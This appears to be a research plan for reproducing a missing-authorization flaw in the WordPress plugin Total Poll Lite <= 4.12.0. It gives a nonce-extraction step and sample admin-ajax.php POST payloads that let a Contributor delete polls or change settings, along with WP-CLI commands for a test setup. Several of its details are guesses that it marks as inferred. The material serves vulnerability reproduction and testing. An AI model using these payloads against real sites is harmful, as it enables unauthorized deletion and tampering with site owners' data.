Total Poll Lite <= 4.12.0 - Missing Authorization

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in Total Poll Lite <= 4.12.0. This vulnerability allows authenticated users with Contributor-level access or higher to perform unauthorized actions, likely related to poll management, due to a missing current_user_can() check in an administrative AJAX or POST handler.

---

1. Vulnerability Summary

• Vulnerability: Missing Authorization
• Plugin: TotalPoll for Polls and Contests (totalpoll-lite)
• Affected Versions: <= 4.12.0
• Impact: A Contributor-level user can perform administrative actions such as deleting polls, resetting votes, or modifying settings.
• Root Cause: The plugin registers AJAX or administrative hooks (e.g., via wp_ajax_) that verify nonces but fail to verify if the authenticated user possesses the required capability (e.g., manage_options or totalpoll_manage_polls).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action (Inferred): The plugin commonly uses a central AJAX dispatcher named totalpoll_command or specific actions like totalpoll_delete_poll, totalpoll_reset_votes, or totalpoll_update_settings.
• Authentication: Contributor-level user (PR:L).
• Vulnerable Parameter: command, poll_id, or settings.
• Precondition: A poll must exist that the attacker wishes to manipulate.

3. Code Flow (Trace Path)

Based on the architecture of TotalPoll 4.x:

1. Entry Point: An AJAX request is sent to admin-ajax.php with action=totalpoll_command (or similar).
2. Hook Registration: The plugin registers the action in src/TotalPoll/Modules/Poll/Dashboard.php or src/TotalPoll/Admin/Ajax.php using:
   add_action( 'wp_ajax_totalpoll_command', [ $this, 'handleCommand' ] );
3. Vulnerable Function: The handleCommand function (or the specific command handler it calls) is invoked.
4. Authorization Failure: The function performs a nonce check:
   check_ajax_referer( 'totalpoll', 'nonce' );
   But it fails to check:
   if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
5. Execution: The logic proceeds to call methods that delete rows from $wpdb->prefix . 'totalpoll_polls' or update poll metadata.

4. Nonce Acquisition Strategy

TotalPoll Lite localizes nonces for its administrative interface. Since a Contributor can access the WordPress dashboard, they can retrieve the nonce from any page where the TotalPoll scripts are loaded.

1. Identify Script: The plugin usually localizes the totalpoll object.
2. Trigger Localization: Create a post/page containing a TotalPoll shortcode to ensure the environment is initialized.
3. Extraction:
   • Login as a Contributor.
   • Navigate to a page where TotalPoll is active.
   • Execute: browser_eval("window.totalpoll?.nonce || window.totalpollConfig?.nonce").
4. Action Name: The nonce is typically associated with the action string 'totalpoll'.

5. Exploitation Strategy

The goal is to delete a poll or reset its votes using the Contributor's session.

1. Step 1: Setup
   • Create a poll as Admin.
   • Create a Contributor user.
2. Step 2: Information Gathering
   • List polls using WP-CLI to find a target ID: wp post list --post_type=poll.
3. Step 3: Nonce Retrieval
   • Log in as the Contributor.
   • Visit /wp-admin/.
   • Use browser_eval to extract the totalpoll nonce.
4. Step 4: Unauthorized Request
   • Send a POST request to admin-ajax.php to perform an action (e.g., delete).
   • Payload (Example - Adjust based on actual command structure):

     POST /wp-admin/admin-ajax.php HTTP/1.1
     Content-Type: application/x-www-form-urlencoded
     
     action=totalpoll_command&command=delete&id=[POLL_ID]&nonce=[NONCE]
     

   • Alternative Payload (Settings manipulation):

     POST /wp-admin/admin-ajax.php HTTP/1.1
     Content-Type: application/x-www-form-urlencoded
     
     action=totalpoll_update_settings&poll_id=[POLL_ID]&settings[title]=Hacked&nonce=[NONCE]
     

6. Test Data Setup

1. Create Poll:
   wp post create --post_type=poll --post_title="Sensitive Poll" --post_status=publish
2. Create Attacker:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Ensure Scripts Load:
   wp post create --post_type=page --post_content="[totalpoll id='ID_HERE']" --post_status=publish

7. Expected Results

• Unauthorized Request Response: The server should return a 200 OK (or JSON success) rather than a 403 Forbidden or wp_die message.
• Database Impact: The poll with the specified ID is deleted or modified in the database.

8. Verification Steps

1. Check via WP-CLI:
   wp post list --post_type=poll
   (The "Sensitive Poll" should be missing or have modified attributes).
2. Check Meta:
   wp post meta get [POLL_ID] _totalpoll_votes
   (Confirm if votes were reset to 0).

9. Alternative Approaches

If totalpoll_command is not the correct action:

1. Grep for handlers:
   grep -r "wp_ajax_" wp-content/plugins/totalpoll-lite/
2. Look for missing caps:
   Examine the callbacks for current_user_can. Any handler lacking this check while performing database writes is a target.
3. REST API: Check if register_rest_route is used without a permission_callback (or with one that only checks is_user_logged_in).
   grep -r "register_rest_route" wp-content/plugins/totalpoll-lite/